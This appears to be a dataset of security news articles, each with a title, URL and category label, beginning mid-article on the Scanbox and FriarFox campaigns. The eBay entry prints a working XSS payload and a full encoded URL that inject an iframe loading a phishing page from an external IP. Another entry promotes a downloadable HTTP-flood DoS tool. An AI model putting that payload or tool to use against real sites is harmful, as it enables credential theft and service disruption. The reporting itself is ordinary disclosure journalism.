Scanbox is a reconnaissance framework that enables attackers to track visitors to compromised websites, capture keystrokes, and harvest data that could be used to enable follow-on compromises. It has also been reported to have been modified in order to deliver second-stage malware on targeted hosts.
Campaigns using Scanbox were previously spotted in March 2019 by Recorded Future targeting visitors to the website of Pakistan's Directorate General of Immigration and Passports (DGIP) and a fake typosquatted domain claiming to be the official Central Tibetan Administration (CTA).
The introduction of the FriarFox browser extension in TA413's arsenal points to APT actors' "insatiable hunger" for access to cloud-based email accounts, says Sherrod DeGrippo, Proofpoint's senior director of threat research and detection.
"The complex delivery method of the tool [...] grants this APT actor near total access to the Gmail accounts of their victims, which is especially troubling as email accounts really are among the highest value assets when it comes to human intelligence," DeGrippo noted.
"Almost any other account password can be reset once attackers have access to someone's email account. Threat actors can also use compromised email accounts to send email from that account using the user's email signature and contact list, which makes those messages extremely convincing."
| Cyber_Attack |
Security firm Bit9 hacked, Stolen Digital Certs Used To Sign Malware | https://thehackernews.com/2013/02/security-firm-bit9-hacked-stolen.html | Bit9 disclosed Friday that hackers had stolen digital code signing certificates from its network and have utilized it to sign malware. Bit9, a company that provides software and network security services to the U.S. government and at least 30 Fortune 100 firms.
"As a result, a malicious third party was able to illegally gain temporary access to one of our digital code-signing certificates that they then used to illegitimately sign malware," Bit9 Chief Executive Patrick Morley said in a blog post.
The attackers then sent signed malware to at least three of Bit9's customers, although Bit9 isn't saying which customers were affected or to what extent.
"Since we discovered this issue, we have been working closely with all of our customers to ensure they are no longer vulnerable to malware associated with the affected certificate." and company said it has resolved the issue.
It is not the first time that hackers have breached a security firm as part of a sophisticated scheme to access data at one of their customers. EMC Corp's RSA Security division disclosed that it was breached in 2011.
| Malware |
Popular URL Shortener 'Bitly' User Accounts Reportedly Compromised | https://thehackernews.com/2014/05/popular-url-shortener-bitly-user.html | The famous URL shortening service is facing a data breach. The very popular URL shortening service Bitly, has issued an urgent security warning saying that its users' account credentials may have been compromised, according to a blog post published yesterday.
"We have reason to believe that Bitly account credentials have been compromised; specifically, users' email addresses, encrypted passwords, API keys and OAuth tokens," Bitly CEO Mark Josephson wrote in a blog post. At this point, however, there is no indication that hackers have broken into any user accounts, he said.
Bitly was founded in 2008, allows users to shorten links and making it to share on other sites easier for users. It is privately held and based in New York City. Bitly shortens more than one billion links per month and powers over 10,000 custom short URLs and offers an enterprise analytics platform that helps web publishers and brands grow their social media traffic.
Bitly users' account information is suspected to have been compromised after a recent hack. In order to protect the private information of its users, the company has disconnected the Facebook and Twitter accounts of all users and is requesting users to change their passwords, as well as safely reconnect their Facebook and Twitter accounts to the site thereafter.
Bitly didn't give any detailed explanations on how this hack occurred and what other information was stolen besides account credentials of users. The service says it has taken "proactive measures to secure all paths that led to the compromise."
The service originally served as the default link shortener for the Twitter, until Twitter developed its own product service in 2009.
In addition to resetting all passwords, users will also have to reset their API keys and OAuth tokens, following the instructions on Bitly's blog. But if you're using the Bitly service, you'll also need to take some necessary actions.
"Please take the following steps to secure your account: change your API key and OAuth token, reset your password, and reconnect your Facebook and Twitter accounts," Josephson wrote. "We are recommending all Bitly users make these changes."
To reset your API key and OAuth token, follow these instructions from Bitly:
Log in to your account and click on 'Your Settings,' then the 'Advanced' tab.
At the bottom of the 'Advanced' tab, select 'Reset' next to 'Legacy API key.'
Copy down your new API key and change it in all applications. These can include social publishers, share buttons, and mobile apps.
Go to the 'Profile' tab and reset your password.
Disconnect and reconnect any applications that use Bitly. You can check which accounts are connected under the 'Connected Accounts' tab in 'Your Settings.'
"We have already taken proactive measures to secure all paths that led to the compromise and ensure the security of all account credentials going forward," the company said. "We take your security and trust in us seriously. The team has been working hard to ensure all accounts are secure." The company apologize for any inconvenience caused.
| Data_Breaches |
Radware's Attack Mitigation System Delivers the First Fully Integrated Solution to Fight Cyber Attacks in Real Time | https://thehackernews.com/2011/09/radwares-attack-mitigation-system.html | Radware's Attack Mitigation System Delivers the First Fully Integrated Solution to Fight Cyber Attacks in Real Time
The solution blocks the new breed of sophisticated attacks that target Multiple layers of the IT infrastructure . Today's point security tools for IT infrastructures are not enough to protect against the new wave of sophisticated cyber attacks. That's why Radware (NASDAQ: RDWR), a leading provider of application delivery and application security solutions for virtual and cloud data centers, today announced Radware Attack Mitigation System (AMS), the industry's first fully integrated IT security strategy and portfolio that protects the application infrastructure in real time against network and application downtime, application vulnerability exploitation, malware spread, information theft, Web service attacks and Web defacement.
Additional Resources
· AMS Brochure
· CTO Expert Article
· ERT Incidents Report 1H, 2011
· AMS & SEIM White Paper
· Solution Video
· SlideShare Presentation
Available today, Radware's AMS provides the most comprehensive solution to fight multi-vulnerability campaigns — today's sophisticated, headline-grabbing cyber attacks that probe IT targets for weaknesses and strike with parallel assaults across the infrastructure. These attacks are hard to defend against because they are aimed at multiple layers in the IT architecture, particularly against network infrastructure equipment, servers and applications. Examples of multi-vulnerability attacks include high-volume distributed denial of service (DDoS) attacks as well as "low & slow" stealthy attacks, network- and application-based attacks, all of which hit simultaneously at multiple weakness points in the networks while emulating legitimate user behavior making them harder to identify and block.
"The major advance in new threats has been the level of tailoring and targeting — these are not noisy, mass attacks that are easily handled by simple, signature-dependent security approaches. Targeted attacks aim to achieve a specific impact against specific enterprises, and have three major goals: Denial of service -- Disrupting business operations; Theft of service -- Obtaining use of the business product or service without paying for it; and Information compromise -- Stealing, destroying or modifying business-critical information," according to John Pescatore, VP Distinguished Analyst, Gartner, Inc. "Enterprises need to focus on reducing vulnerabilities and increasing monitoring capabilities to deter or more quickly react to evolving threats, and not focus on what country the attacks are coming from. "
Organizations typically respond to these attacks with separate patches and tools for protection such as anti-DoS, intrusion prevention systems (IPS), Web application firewalls (WAF), network behavioral analysis (NBA), reputation engines, and security information and event management (SIEM) solutions. Radware AMS consolidates these multiple attack detection with mitigation technologies, such as signature detection and network and application behavioral analysis (NABA), to handle malicious application traffic through application-level challenge/response techniques. This gives security managers the ability to identify bots that imitate real user application transactions and block them in real time, avoiding the need to perform rate-based protection that would drop legitimate users along with the attack traffic.
"Nearly all IT security solutions today are designed and deployed as point solutions. That's the problem — they miss the big picture," said Avi Chesla, Chief Technical Officer for Radware. "Thus they cannot make the required context-based security assessment, leaving the network exposed to today's multi-vulnerability attack campaigns.
"Most vendors only specialize as players in a primary solution – providing only WAF, IPS, DoS protection, or network behavioral analysis. Others will offer 'light' version add-ons to incorporate additional defenses. The solution we have launched offers best-of-breed technologies for all of these security modules in a holistic, integrated solution addressing the full gamut of today's evolving security threat landscape. Recent cyber attacks prove that businesses need to plan for the worst case, and that plan mandates the use of Radware's AMS solution," Chesla said.
The ultimate impact of multi-vulnerability attacks on businesses can be staggering, resulting in fraud, defacement, identity theft, leaking of sensitive corporate information, and as seen in many cases over the past year, a complete shutdown of operations. Yet as hackers evolve in sophistication, so too must IT security managers evolve their thinking. Radware AMS can lead a transformative shift in the way the industry approaches IT security from the current, tool-based response to a holistic approach that integrates tools and strategies into a real-time, proactive, attack mitigation solution.
Designed for online businesses, large enterprises, carriers, data centers and managed service providers, Radware's AMS is built on Radware's award-winning DefensePro® network security appliance, AppWall® Web application firewall and APSolute Vision® application and network security management dashboard.
Radware supplements these capabilities by adding the human factor — the professional security consultants of its Emergency Response Team (ERT) who are available around the clock. As literal "first responders" to cyber attacks, Radware's ERT members gained their extensive experience by successfully dealing with some of the industry's most notable hacking episodes, providing the knowledge and expertise to mitigate the kind of attack a business's security team may never have handled.
Global Marketing Campaign
In support of the announcement, Radware is launching its new company blog, which features expert insights on not only security, but also application delivery, mobile data, virtualization, service provider issues and a host of other IT topics. The company is also running a global marketing and advertising campaign to educate end users on how they need to be fully equipped to overcome today's multi-vulnerability attacks and take an offensive posture. The campaign features a Flash game and contest designed to provide players with a fun way to learn about Radware's Attack Mitigation System capabilities while they understand how to cost-effectively neutralize today's distributed attacks. The game, "Radware AMS Threat Race", runs until mid-October and offers contestants the opportunity to win $5,000. For more information and game access, please visit: https://www.radware.com/ams.
For more information on Radware's AMS, go to: https://www.radware.com/Solutions/Enterprise/Security/default.aspx.
| Malware |
Air India unit - Centaur Hotels website insecure - Passports, ID's, credit cards data at Risk | https://thehackernews.com/2011/06/air-india-unit-centaur-hotels-website.html | Air India unit - Centaur Hotels website insecure - Passports, ID's, credit cards data at Risk
Website of Centaur Hotel at IGI airport New Delhi - https://centaurhotels.com/ used to upload customer data like passport, pan card, credit card and other forms of personal identification of their guests staying at New Delhi IGI airport property, Data in an hidden indexed directory on the website as shown above.
The Centaur Hotels is a unit of the Hotel Corporation of India, which is a wholly owned subsidiary of India's national carrier Air India which in turn is 100% owned by the Government of India.
This Security failure is disclosed by Bangalore Aviation. Capt. Samarth Singh claimed the website was under the control of another company for the last year and was handed over him only one week ago. He said "The website has been under the direct control and jurisdiction of S. Naidu Pvt. Ltd. for the last one year. During this period Hybrid Content site credit has not been removed from the Centaur Hotel's website. Any further clarifications may be entertained in presence of all three parties i.e. Centaur Hotels, S. Naidu Pvt. Ltd. and Hybrid Content."
Some Documents from Site :
| Vulnerability |
Google Finds 7 Security Flaws in Widely Used Dnsmasq Network Software | https://thehackernews.com/2017/10/dnsmasq-network-services.html | Security researchers have discovered not one or two, but a total of seven security vulnerabilities in the popular open source Dnsmasq network services software, three of which could allow remote code execution on a vulnerable system and hijack it.
Dnsmasq is a widely used lightweight network application tool designed to provide DNS (Domain Name System) forwarder, DHCP (Dynamic Host Configuration Protocol) server, router ads and network boot services for small networks.
Dnsmasq comes pre-installed on various devices and operating systems, including Linux distributions such as Ubuntu and Debian, home routers, smartphones and Internet of Things (IoT) devices. A shodan scan for "Dnsmasq" reveals around 1.1 million instances worldwide.
Recently, Google's security team reviewed Dnsmasq and discovered seven security issues, including DNS-related remote code execution, information disclosure, and denial-of-service (DoS) issues that can be triggered via DNS or DHCP.
"We discovered seven distinct issues (listed below) over the course of our regular internal security assessments," Google's security team wrote in a blog post published on Monday.
"Once we determined the severity of these issues, we worked to investigate their impact and exploitability and then produced internal proofs of concept for each of them. We also worked with the maintainer of Dnsmasq, Simon Kelley, to produce appropriate patches and mitigate the issue."
Since the vulnerabilities have now been patched by Dnsmasq developer and maintainer Simon Kelley, Google researchers have released details and proof-of-concept (PoC) exploit code for each of the vulnerabilities.
Out of seven vulnerabilities discovered by the team, three can be exploited to perform remote code execution, three can be used in denial of service attacks, and one information leakage flaw.
Here's the List of All Vulnerabilities:
CVE-2017-14491—A DNS-based remote code execution vulnerability in Dnsmasq versions before 2.76 is marked as the most severe that allows for unrestricted heap overflows, affecting both directly exposed and internal network setups.
CVE-2017-14492—Another remote code execution vulnerability due to a DHCP-based heap overflow issue.
CVE-2017-14493—Another noteworthy DHCP-based remote code execution bug caused by a stack buffer overflow. According to Google, this flaw is trivial to exploit if it's used in conjunction with the flaw (CVE-2017-14494) mentioned below.
CVE-2017-14494—An information leak in DHCP which can be combined with CVE-2017-14493 to allow attackers bypass ASLR security mechanism and execute arbitrary code on a target system.
CVE-2017-14495—A flaw in Dnsmasq which can be exploited to launch a denial of service (DoS) attack by exhausting memory via DNS. The flaw impacts dnsmasq only if one of these options is used: --add-mac, --add-cpe-id or --add-subnet.
CVE-2017-14496—Google's Android operating system is specifically affected by this DoS issue which can be exploited by a local hacker or one who is tethered directly to the device. However, Google pointed out the service itself is sandboxed, so the risk to Android users is reduced.
CVE-2017-14497—Another DoS issue wherein a large DNS query can crash the software.
Since all the issues have already been addressed with the release of Dnsmasq 2.78, Dnsmasq users are advised to update their installations as soon as possible.
To patch your devices, make sure to upgrade packages on your system. Google has updated its affected services and released the security fixes to Android partners on 5 September 2017 in October's Android security updates.
Other affected Google services are also claimed to be updated. Kubernetes versions 1.5.8, 1.6.11, 1.7.7, and 1.8.0 have also been updated with a patched Dnsmasq.
| Vulnerability |
Simple Yet Effective eBay Bug Allows Hackers to Steal Passwords | https://thehackernews.com/2016/01/ebay-hacking.html | A simple, yet effective flaw discovered on eBay's website exposed hundreds of millions of its customers to an advance Phishing Attack.
An Independent Security Researcher reported a critical vulnerability to eBay last month that had the capability to allow hackers to host a fake login page, i.e. phishing page, on eBay website in an effort to steal users' password and harvest credentials from millions of its users.
The researchers, nicknamed MLT, said anyone could have exploited the vulnerability to target eBay users in order to take over their accounts or harvest thousands, or even millions, of eBay customers credentials by sending phishing emails to them.
MLT published a blog post about the eBay flaw on Monday, demonstrating how easy it is to exploit the flaw like this and steal customers' passwords.
Here's How ebay Hack Works
The flaw actually resided in the URL parameter that allowed the hacker to inject his iFrame on the legitimate eBay website.
This is a common web bug, technically known as a Cross-Site Scripting (XSS) vulnerability, in which attackers can exploit the vulnerability to inject malicious lines of code into a legitimate website.
MLT included an iframe link to his own 3rd-party phishing page within eBay's regular URL, which makes it look like the login page "was hosted on the legitimate eBay website".
The login page looked almost exactly like eBay's actual login page, except the second part of the customised URL, which most of the users don't even notice.
In this case, the iFrame containing the researcher's phishing page was injected to the page using the following payload:
document.write('<iframec="https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html” width="1500″ height="1000″>')
Here is the full URL, including the above payload, at time of injection:
https://ebay.com/link/?nav=webview&url=javascript:document.write%28%27%3Ciframe%20src=%22https://45.55.162.179/ebay/signin.ebay.com/ws/eBayISAPI9f90.html%22%20width=%221500%22%20height=%221000%22%3E%27%29
Here's the screenshot of the URL:
After this was done, MLT typed his username and password on the infected website and hit sign in, which gave him an error. But meanwhile, he was able to snatch the entered credentials in plaintext.
Video Demonstration
MLT also provided a video proof-of-concept, demonstrating the flaw in real-time. You can watch the video below:
MLT responsibly reported the flaw to eBay on December 11, but after an initial response asking for more information the following day, the company stopped responding to the researcher's emails and did not release a patch, even after knowing the consequences of the flaw.
However, when media contacted eBay asking about the vulnerability, the company rushed to release a patch on Monday and acknowledged MLT's finding on its site's page dedicated to thanking white hat hackers who responsibly report bugs on its website.
| Vulnerability |
Security Event : Hack In Paris (16-17 June, 2011) | https://thehackernews.com/2011/03/security-event-hack-in-paris-16-17-june.html | Security Event : Hack In Paris (16-17 June, 2011)
Hack In Paris is an international and corporate security event that will take place in Disneyland Paris® fromJune 16th to 17th of 2011. Please refer to the homepage to get up-to-date information about the event.
Topics
The following list contains major topics the conference will cover. Please consider submitting even if the subject of your research is not listed here.
Advances in reverse engineering
Vulnerability research and exploitation
Penetration testing and security assessment
Malware analysis and new trends in malicous codes
Forensics, IT crime & law enforcement
Privacy issues: LOPPSI, HADOPI, …
Low-level hacking (console security & mobile devices)
Risk management and ISO 27001
Dates
January 20: CFP announced
March 30: Submission deadline
April 15: Notification sent to authors
April 17: Program announcement
June 16-17: Hack In Paris
June 18: Nuit du Hack
More Information: https://hackinparis.com
| Malware |
New Intel CPU Flaw Exploits Hyper-Threading to Steal Encrypted Data | https://thehackernews.com/2018/11/portsmash-intel-vulnerability.html | A team of security researchers has discovered another serious side-channel vulnerability in Intel CPUs that could allow an attacker to sniff out sensitive protected data, like passwords and cryptographic keys, from other processes running in the same CPU core with simultaneous multi-threading feature enabled.
The vulnerability, codenamed PortSmash (CVE-2018-5407), has joined the list of other dangerous side-channel vulnerabilities discovered in the past year, including Meltdown and Spectre, TLBleed, and Foreshadow.
Discovered by a team of security researchers from the Tampere University of Technology in Finland and Technical University of Havana, Cuba, the new side-channel vulnerability resides in Intel's Hyper-Threading technology, the company's implementation of Simultaneous MultiThreading (SMT).
Simultaneous MultiThreading is a performance feature that works by splitting up each physical core of a processor into virtual cores, known as threads, allowing each core to run two instruction streams at once.
Since SMT runs two threads in two independent processes alongside each other in the same physical core to boost performance, it is possible for one process to see a surprising amount of what the other is doing.
"We recently discovered a new CPU microarchitecture attack vector. The nature of the leakage is due to execution engine sharing on SMT (e.g., Hyper-Threading) architectures," the team says.
"More specifically, we detect port contention to construct a timing side channel to exfiltrate information from processes running in parallel on the same physical core."
Thus, an attacker can run a malicious PortSmash process alongside a selected victim process on the same CPU core, allowing the PortSmash code to snoop on the operations performed by the other process by measuring the precise time taken for each operation.
PortSmash Attack to Steal OpenSSL Decryption Keys
As a proof-of-concept released on Github, researchers tested the PortSmash attack against OpenSSL (version <= 1.1.0h) cryptography library and were successfully able to steal the private decryption key using a malicious process (exploit) running on the same physical core as the OpenSSL thread (victim).
While the PortSmash attack has been confirmed to work on Intel's Kaby Lake and Skylake processors at this moment, researchers "strongly suspected" the attack to work on other SMT architectures, including AMD's, with some modifications to their code.
In August this year, after TLBleed and ForeShadow attacks were unveiled, Theo de Raadt, the founder of OpenBSD and leader at OpenSSH projects, advised users to disable SMT/Hyperthreading in all Intel BIOSes.
"SMT is fundamentally broken because it shares resources between the two CPU instances and those shared resources lack security differentiators," Theo said.
He also suspected that "there will be more hardware bugs and artifacts disclosed. Due to the way SMT interacts with speculative execution on Intel CPUs, I expect SMT to exacerbate most of the future problems."
How to Protect Your Systems Against PortSmash Attack
Researchers reported the new side-channel vulnerability to Intel security team early last month, but when the company failed to provide the security patches until 1 November, the team went public with the PoC exploit.
The team has also promised to release detailed paper on the PortSmash attack, titled Port Contention for Fun and Profit, in the coming days.
The simple fix for the PortSmash vulnerability is to disable SMT/Hyper-Threading in the CPU chip's BIOS until Intel releases security patches. OpenSSL users can upgrade to OpenSSL 1.1.1 (or >= 1.1.0i if you are looking for patches).
In June this year, the OpenBSD project disabled Intel's Hyper-Threading to prevent its users from previously disclosed Spectre-class attacks, as well as future timing attacks.
AMD is investigating the PortSmash side-channel vulnerability report to know any potential AMD product susceptibility.
| Vulnerability |
Fourth, a 16-year-old Hacker, Arrested over TalkTalk Hack | https://thehackernews.com/2015/11/talktalk-hacker.html | Police have arrested a fourth person, a 16-year-old boy, from London in connection with the high-profile hack of British telecoms giant TalkTalk.
The investigating officers from the Metropolitan Police Cyber Crime Unit (MPCCU) arrested the teenager at his home in Norwich on suspicion of Computer Misuse Act offences.
TalkTalk was subjected to a 'significant and sustained' hacking attack on its official website two weeks back, which put the Bank Details and Personally Identifiable Information (PII) of its 4 Million customers at risk.
The telco confirmed last week that at most 1.2 Million names, email addresses and phone numbers and around 21,000 unique bank account numbers and sort codes were compromised in the attack.
However, TalkTalk said that the stolen credit card details were incomplete, so the payment cards could not be used for any false financial transactions. But, the company advised customers to remain vigilant against financial fraud.
Security experts believe that the recent hacking attack on TalkTalk may have taken place due to SQL injection (SQLi) attack, a method used to inject SQL commands to breach the database and get access to the users' personal data.
This is the fourth arrest since TalkTalk suffered a massive data breach and the 16-year-old boy remains in custody at a local police station.
The Police Service of Northern Ireland and MET detectives arrested a 20-year-old Staffordshire man on Sunday while 2 teenagers were also arrested in connection with the Data breach incident.
The first arrest came last week when police arrested and then bailed a 15-year-old boy from Northern Ireland while another 16-year-old boy from London was arrested and bailed on 30 October.
However, the connection between these four persons has not been known yet.
| Data_Breaches |
Assassin DoS 2.0.3 - Created By MaxPainCode | https://thehackernews.com/2011/11/assassin-dos-203-created-by-maxpaincode.html | Assassin DoS 2.0.3 - Created By MaxPainCode
MaxPainCode develop a new dos tool is based on a new attack that uses HTTP Flood to get the site down, this will work if you try with big dedicated server. Another Feature of Assassin DoS is that it will not take all your resources as the most DoS do. Also its like only 100 mili seconds delay when hitting the target and its available for windows.
Same Issue is Discussed with Microsoft Security Response Center by Developer of This tool.
Its available to Download here (Disclaimer : Use it at your own Risk)
| Vulnerability |
ROBOT Attack: 19-Year-Old Bleichenbacher Attack On Encrypted Web Reintroduced | https://thehackernews.com/2017/12/bleichenbacher-robot-rsa.html | A 19-year-old vulnerability has been re-discovered in the RSA implementation from at least 8 different vendors—including F5, Citrix, and Cisco—that can give man-in-the-middle attackers access to encrypted messages.
Dubbed ROBOT (Return of Bleichenbacher's Oracle Attack), the attack allows an attacker to perform RSA decryption and cryptographic operations using the private key configured on the vulnerable TLS servers.
ROBOT attack is nothing but a couple of minor variations to the old Bleichenbacher attack on the RSA encryption protocol.
First discovered in 1998 and named after Swiss cryptographer Daniel Bleichenbacher, the Bleichenbacher attack is a padding oracle attack on RSA-based PKCS#1 v1.5 encryption scheme used in SSLv2.
Leveraging an adaptive chosen-ciphertext attack which occurred due to error messages by SSL servers for errors in the PKCS #1 1.5 padding, Bleichenbacher attack allows attackers to determine whether a decrypted message is correctly padded.
This information eventually helps attackers decrypt RSA ciphertexts without recovering the server's private key, completely breaking the confidentiality of TLS when used with RSA encryption.
"An attacker could iteratively query a server running a vulnerable TLS stack implementation to perform cryptanalytic operations that may allow decryption of previously captured TLS sessions." Cisco explains in an advisory.
In 1998, Bleichenbacher proposed to upgrade encryption scheme, but instead, TLS designers kept the vulnerable encryption modes and added a series of complicated countermeasures to prevent the leakage of error details.
Now, a team of security researchers has discovered that these countermeasures were incomplete and just by using some slight variations, this attack can still be used against many HTTPS websites.
"We changed it to allow various different signals to distinguish between error types like timeouts, connection resets, duplicate TLS alerts," the researchers said.
"We also discovered that by using a shortened message flow where we send the ClientKeyExchange message without a ChangeCipherSpec and Finished message allows us to find more vulnerable hosts."
According to the researchers, some of the most popular websites on the Internet, including Facebook and Paypal, are affected by the vulnerability. The researchers found "vulnerable subdomains on 27 of the top 100 domains as ranked by Alexa."
ROBOT attack stems from the above-mentioned implementation flaw that only affects TLS cipher modes using RSA encryption, allowing an attacker to passively record traffic and later decrypt it.
"For hosts that usually use forward secrecy, but still support a vulnerable RSA encryption key exchange the risk depends on how fast an attacker is able to perform the attack," the researchers said.
"We believe that a server impersonation or man in the middle attack is possible, but it is more challenging."
The ROBOT attack has been discovered by Hanno Böck, Juraj Somorovsky of Ruhr-Universitat Bochum/Hackmanit GmbH, and Craig Young of Tripwire VERT, who also created a dedicated website explaining the whole attack, its implications, mitigations and more.
The attack affects implementations from several different vendors, some of which have already released patches and most have support notes acknowledging the issue.
You will find the list of affected vendors on the ROBOT website.
The researchers have also released a python tool to scan for vulnerable hosts. You can also check your HTTPS server against ROBOT attack on their website.
| Vulnerability |
Python-Based Adware Evolves to Install Malicious Browser Extensions | https://thehackernews.com/2018/06/pythonbot-pbot-adware.html | Security researchers have been warning of a few newly detected variants of python-based adware that are being distributed in the wild not only to inject ads but also found installing malicious browser extensions and hidden cryptocurrency miner into victims' computers.
Dubbed PBot, or PythonBot, the adware was first uncovered more than a year ago, but since then the malware has evolved, as its authors have been trying different money-making schemes to profit themselves, according to researchers at Kaspersky Labs.
The previous versions of the PBot malware were designed to perform man-in-the-browser (MITB) attacks to inject unwanted advertising scripts on web pages visited by the victim, but the newer variants have been found installing malicious ad extensions in the web browser.
"Developers are constantly releasing new versions of this modification, each of which complicates the script obfuscation," Kaspersky researchers said in their blog post published today.
"Another distinctive feature of this PBot variation is the presence of a module that updates scripts and downloads fresh browser extensions."
The malware is usually distributed through pop-up advertisements on partner sites, which redirect users to the PBot download page, disguised as legitimate software.
Clicking anywhere on the download page eventually drops an "update.hta" file on the victim's system, which if opened, downloads the original PBot installer from a remote command-and-control server.
Also Read: Learn Python Online — From Scratch to Penetration Testing
During installation, the malware drops a folder with the Python 3 interpreter, some Python scripts, and a browser extension on the targeted system. After that, it uses Windows Task Scheduler to execute python scripts when the user signs into the system.
PBot consists of "several Python scripts executed in sequence. In the latest versions of the program, they are obfuscated using Pyminifier," the researchers say.
If PBot finds any targeted web browsers (Chrome/Opera) installed on the victim's system, it uses "brplugin.py" script to generate DLL file and then injects it into the launched browser and install the ad extension.
"The browser extension installed by PBot typically adds various banners to the page, and redirects the user to advertising sites," the researchers explain.
Although the malware has not been distributed across the globe, it has an alarming number of victims, the majority of which resides in Russia, Ukraine, and Kazakhstan.
"Throughout April, we registered more than 50,000 attempts to install PBot on computers of users of Kaspersky Lab products. The following month this number increased, indicating that this adware is on the rise," the researchers say.
The best way to protect yourself from avoiding falling victims to such attacks is always to be vigilant while surfing the Internet, and always keep a good antivirus software installed on your computer that can detect and block such threats.
Last but not the least, always download apps from trusted sources, like Google Play Store, and stick to verified developers, and do not forget to keep both your devices and software up-to-date.
| Malware |
Advanced Malware targeting Internet of the Things and Routers | https://thehackernews.com/2016/03/internet-of-thing-malware.html | Anything connected to the Internet could be hacked and so is the Internet of Things (IoTs).
The market fragmentation of IoTs or Internet-connected devices is a security nightmare, due to poor security measures implemented by their vendors.
Now, the researchers at security firm ESET have discovered a piece of Malware that is targeting embedded devices such as routers, and other connected devices like gateways and wireless access points, rather than computers or smartphones.
Dubbed KTN-Remastered or KTN-RM, the malware is a combination of both Tsunami (or Kaiten) as well as Gafgyt.
Tsunami is a well-known IRC (Internet Relay Chat) bot used by miscreants for launching Distributed Denial of Service (DDoS) attacks while Gafgyt is used for Telnet scanning.
KTN-RM, which researcher dubbed 'Remaiten,' features an improved spreading mechanism by carrying downloader executable binaries for embedded platforms and other connected devices.
How Does the Linux Malware Work?
The malware first performs Telnet scanning to look for routers and smart devices. Once the connection is made, the malware tries to guess the login credentials in an effort to take over weakly-secured devices.
If it successfully logs in, the malware will issue a shell command to download bot executable files for multiple system architectures before running them on the compromised networking kit.
"This is a simple but noisy way of ensuring that the new victim gets infected because it is likely that one of the binaries is for the current platform," explained ESET Malware Researcher Michal Malík. "It targets mainly those with weak login credentials."
The malware, version 2.0, also has a welcome message for those who might try to neutralise its threat, containing a reference to the Malware Must Die blog.
Perhaps it is a way to take revenge, as Malware Must Die has published extensive details about Gafgyt, Tsunami and other members of this Malware family.
For more technical details about KTN-RM or Remaiten, you can head on to ESET's official blog post published Wednesday.
| Malware |
18-year-old Unpatched Vulnerability Affects All Versions of Microsoft Windows | https://thehackernews.com/2015/04/smb-windows-vulnerability.html | Security researchers have unearthed a serious security flaw in all supported versions of Windows that could let hackers steal users' credentials from computers, tablets or servers running any version of Windows operating system, including the as-yet-released Windows 10.
This vulnerability in Windows was first discovered 20 Years ago:
The critical bug, dubbed "Redirect to SMB," is a variant of a vulnerability found in Windows by researcher Aaron Spangler nearly 18 years ago that caused Windows to expose a user's Windows username and password automatically.
However, according to researchers at security firm Cylance who discovered the flaw, this weakness in Windows was never patched by Microsoft, as Microsoft says that this flaw is not worth focusing on, and, therefore...
...This results in a new hack that targets the SMB file sharing protocol.
But, What is SMB?
SMB, or Server Message Block, is a protocol that allows users to share files over a network. In Windows operating systems, SMB is often used by companies and organizations to share files from one server across their entire network.
Now, how this SMB protocol is exploited by hackers?
While requesting a file from the server, Windows will automatically attempt to authenticate to the SMB server by providing the system users' credentials to the server.
How "Redirect to SMB" attack works?
Any method used by an attacker to force victims to try to authenticate to an attacker-controlled SMB server, simply describes the Redirect to SMB attack.
So, an attacker only needs to intercept this HTTP request, which can be easily done using Man-in-the-Middle (MITM) attack, and then redirect the victim to a malicious SMB server controlled by the attacker.
When a victim inputs a URL that starts with the word "file://" or clicks on a malicious link, Windows believes that the user is trying to gain access to a file on a server.
Because of this vulnerability, Windows will automatically attempt to authenticate itself to the malicious SMB server by providing the user's login credentials to the server.
This could allow a malicious hacker to steal victims' Windows username, domain as well as the typically hashed password, which, Cyclance claims, could be cracked by an attacker with a high-end GPU in less than half a day.
What does Microsoft say about the issue?
Microsoft officials downplayed the Cylance "discovery" and the seriousness of the flaw on Monday, saying that the issue was not new at all, and the chances of falling victim to this attack are little.
"We do not agree with Cylance's claims of a new attack type. Cybercriminals continue to be engaged in a number of nefarious tactics," a Microsoft spokesperson released a statement on Monday.
"However, several factors would need to come together for this type of cyber attack to work, such as success in luring a person to enter information into a fake website. We encourage people to avoid opening links in emails from senders that they do not recognize or visiting unsecure sites."
Who are affected?
Cyclance claims that nearly 31 programs are vulnerable to the SMB flaw, which includes:
Many widely used applications: Adobe Reader, Apple QuickTime and Apple Software Update that handles iTunes updates
Microsoft Applications: Internet Explorer, Windows Media Player, Excel 2010, and even Microsoft Baseline Security Analyzer
Developer Tools: Github for Windows, PyCharm, IntelliJ IDEA, PHP Storm and JDK 8u31's installer
Security Tools: .NET Reflector and Maltego CE
Antivirus Software: Symantec's Norton Security Scan, AVG Free, BitDefender Free and Comodo Antivirus
Team Tools: Box Sync and TeamViewer
How do you protect yourself against this flaw?
The simplest way to protect against this issue is to block outbound traffic from TCP 139 and TCP 445. This could be prevented using a network gateway firewall to prevent only SMB communications to destinations outside of your network.
Apply applicable and up-to-date software patches from vendors.
Use strong passwords so that it requires a larger time for brute forcing of any hashing algorithms.
| Vulnerability |
Update Your Firefox Browser to Fix a Critical Remotely Exploitable Flaw | https://thehackernews.com/2018/01/firefox-browser-update.html | Mozilla has released an important update for its Firefox web browser to patch a critical vulnerability that could allow remote attackers to execute malicious code on computers running an affected version of the browser.
The update comes just a week after the company rolled out its new Firefox Quantum browser, a.k.a Firefox 58, with some new features like improved graphics engine and performance optimizations and patches for more than 30 vulnerabilities.
According to a security advisory published by Cisco, Firefox 58.0.1 addresses an 'arbitrary code execution' flaw that originates due to 'insufficient sanitization' of HTML fragments in chrome-privileged documents (browser UI).
Hackers could exploit this vulnerability (CVE-2018-5124) to run arbitrary code on the victim's computer just by tricking them into accessing a link or 'opening a file that submits malicious input to the affected software.'
"A successful exploit could allow the attacker to execute arbitrary code with the privileges of the user. If the user has elevated privileges, the attacker could compromise the system completely," the advisory states.
This could allow an attacker to install programs, create new accounts with full user rights, and view, change or delete data.
However, if the application has been configured to have fewer user rights on the system, the exploitation of this vulnerability could have less impact on the user.
Affected web browser versions include Firefox 56 (.0, .0.1, .0.2), 57 (.0, .0.1, .0.2, .0.3, .0.4), and 58 (.0). The vulnerability has been addressed in Firefox 58.0.1, and you can download from the company's official website.
The issue, which was discovered by Mozilla developer Johann Hofmann, does not affect Firefox browser for Android and Firefox 52 ESR.
Users are recommended to apply the software updates before hackers exploit this issue, and avoid opening links provided in emails or messages if they appear from suspicious or unrecognized sources.
Administrators are also advised to use an unprivileged account when browsing the Internet and monitor critical systems.
| Vulnerability |
